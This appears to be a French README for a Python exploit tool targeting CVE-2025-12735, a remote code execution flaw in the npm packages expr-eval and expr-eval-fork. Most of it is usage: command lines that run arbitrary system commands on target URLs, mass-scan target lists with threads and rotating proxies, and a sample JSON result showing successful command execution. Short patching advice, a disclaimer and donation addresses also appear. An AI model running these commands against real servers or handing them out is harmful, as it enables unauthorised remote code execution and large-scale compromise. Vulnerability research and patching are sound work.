
Outil de recherche en sécurité pour détecter et tester CVE-2025-12735 (vulnérabilité RCE expr-eval)
Un outil de recherche en sécurité pour détecter et tester la vulnérabilité CVE-2025-12735 dans les packages npm expr-eval et expr-eval-fork.
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de tester.
CVE-2025-12735 est une vulnérabilité critique d'exécution de code à distance dans les packages npm expr-eval et expr-eval-fork. Cette vulnérabilité permet aux attaquants de définir des fonctions arbitraires dans l'objet context utilisé par l'analyseur, permettant l'injection de code malveillant qui exécute des commandes au niveau du système.
Score CVSS : 9.8 (Critique)
expr-eval-fork < 3.0.0
expr-eval-fork v3.0.0+
# Clonez le dépôt
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Installez les dépendances
pip install -r requirements.txt
# Rendre le script exécutable (optionnel)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Téléchargez le script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Installez les dépendances
pip install requests
# Cible unique
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Exécuter une commande personnalisée
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Plusieurs cibles depuis un fichier
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# Avec multi-threading pour un scan plus rapide
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Sortie détaillée pour le débogage
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Proxy unique
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Plusieurs proxys depuis un fichier
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url URL cible
-f, --file Fichier contenant les URL cibles (une par ligne)
-c, --command Commande à exécuter (par défaut : id)
-t, --threads Nombre de threads (par défaut : 1)
-o, --output Fichier de sortie (par défaut : uknf_expr_eval_results.json)
-v, --verbose Activer la journalisation détaillée
--proxy URL du proxy (ex. http://127.0.0.1:8080)
--proxy-list Fichier contenant les URL des proxys (une par ligne)
Le script génère un fichier JSON avec des résultats détaillés :
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Si vous utilisez expr-eval ou expr-eval-fork :
Mettez à jour immédiatement :
npm install expr-eval-fork@latest
Appliquez le correctif de sécurité :
Implémentez la validation des entrées :
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Créez le fichier de cibles
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Lancez le scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Proxy unique
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Plusieurs proxys depuis un fichier
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Ajout d'une fonctionnalité géniale')git push origin feature/AmazingFeature)Si vous rencontrez des problèmes ou avez des suggestions, veuillez ouvrir une issue sur GitHub.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Si vous trouvez cet outil utile, pensez à lui attribuer une étoile sur GitHub !
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Les auteurs ne sont pas responsables de tout usage abusif ou dommage causé par ce programme. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant de tester un système.
Si vous trouvez cet outil utile et souhaitez soutenir le projet :
Bitcoin (BTC) :
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH) :
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Merci pour votre soutien ! 🙏